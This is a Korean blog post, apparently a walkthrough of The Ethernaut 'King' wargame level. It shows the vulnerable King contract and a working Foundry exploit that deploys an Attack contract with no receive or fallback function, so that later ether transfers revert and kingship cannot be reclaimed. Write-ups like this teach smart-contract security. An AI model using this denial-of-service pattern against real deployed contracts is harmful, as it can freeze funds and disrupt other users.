728x90
문제 설명이 영어로되어있기도 하고 뭐라는지 모르겠어서 푸는데 애먹었다;;
대충 설명하자면 king을 빼앗는게 목표인데 instance 제출할때 다시 문제에서 king을 탈취할려고 시도할 것이다.
이거를 방해하기 까지 하면 성공이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
일단 king을 찾는건 value를 prize()만큼 보내면 된다.
prize가 얼마 있는지 확인하면 1wei정도 있다.
await web3.utils.fromWei(await contract.prize())
뭐 이정도는 보낼 수 있으니 그냥 되겠지 하고 보내면 안된다.
왜냐하면 내 지갑주소로 보내면 다시 문제에서 king을 되찾기 위해 transfer를 할 것이고 성공적으로 문제에서 king을 다시 빼앗을 것이다.
그러면 그냥 새로운 컨트랙트로 배포해서 transfer를 할때 받지 못하게 하면 된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/king.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract Attack {
constructor(King _kingInstacne) payable {
(bool result,) = address(_kingInstacne).call{value: _kingInstacne.prize()}("");
}
}
contract KingSolve is Script {
King public target;
function setUp() external {
address payable kingAddress = payable(vm.envAddress("level_contract_address"));
target = King(kingAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
new Attack{value: target.prize()}(target); // 이렇게 함으로써 내 지갑이 아닌 Attack contract에서 빠져나가게 함
// value 지정해주는 이유는 Attack contract에 값이 없을 테니 target.prize()만큼 값을 넘겨줌 내 지갑에서
// 그래야 Attack에서 instance에 돈 넘길때 넘기는거 가능
}
}
여기선 fallback도 없고 receive도 없으니 이더를 받으려 하면 에러가 날 것이다.
따라서 transfer를 수행 못하고 king 도 지킬 수 있다.
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Elevator (0) | 2025.01.28 |
---|---|
[The Ethernaut] Re-entrancy (1) | 2025.01.28 |
[The Ethernaut] Vault (0) | 2025.01.23 |
[The Ethernaut] Level 7. Force (0) | 2025.01.18 |
[The Ethernaut] Level 6. Delegation (0) | 2025.01.17 |